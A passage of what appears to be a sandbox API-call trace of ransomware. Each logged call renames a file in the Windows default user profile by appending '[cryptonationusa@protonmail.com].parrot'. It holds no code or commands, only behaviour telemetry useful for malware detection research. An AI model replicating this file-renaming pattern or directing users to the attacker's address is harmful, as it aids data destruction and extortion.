"c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6860d8 | out: hHeap=0x5b0000) returned 1 [0108.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.766] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6860d8 | out: hHeap=0x5b0000) returned 1 [0108.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.873] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6860d8 | out: hHeap=0x5b0000) returned 1 [0108.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.882] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6443e0 | out: hHeap=0x5b0000) returned 1 [0108.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0108.890] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0108.894] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.898] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0108.908] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242118 | out: hHeap=0x5b0000) returned 1 [0108.913] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0108.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0108.921] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0108.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c098 | out: hHeap=0x5b0000) returned 1 [0108.925] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0108.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0108.930] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c098 | out: hHeap=0x5b0000) returned 1 [0108.934] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0108.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0108.940] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0108.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c098 | out: hHeap=0x5b0000) returned 1 [0108.944] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0108.950] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c098 | out: hHeap=0x5b0000) returned 1 [0108.954] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0108.958] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.959] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0108.959] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.959] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0108.962] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0108.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0109.000] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c098 | out: hHeap=0x5b0000) returned 1 [0109.005] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0109.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0109.011] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0109.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e0d8 | out: hHeap=0x5b0000) returned 1 [0109.015] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0109.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0109.020] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6880e0 | out: hHeap=0x5b0000) returned 1 [0109.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c098 | out: hHeap=0x5b0000) returned 1 [0109.072] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0109.088] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6860d8 | out: hHeap=0x5b0000) returned 1 [0109.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2232110 | out: hHeap=0x5b0000) returned 1 [0109.093] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686478 | out: hHeap=0x5b0000) returned 1 [0109.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0109.098] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686478 | out: hHeap=0x5b0000) returned 1 [0109.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e0d8 | out: hHeap=0x5b0000) returned 1 [0109.104] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686648 | out: hHeap=0x5b0000) returned 1 [0109.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f5c0 | out: hHeap=0x5b0000) returned 1 [0109.142] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66a1a0 | out: hHeap=0x5b0000) returned 1 [0109.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0109.146] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x688d78 | out: hHeap=0x5b0000) returned 1 [0109.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0109.152] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: 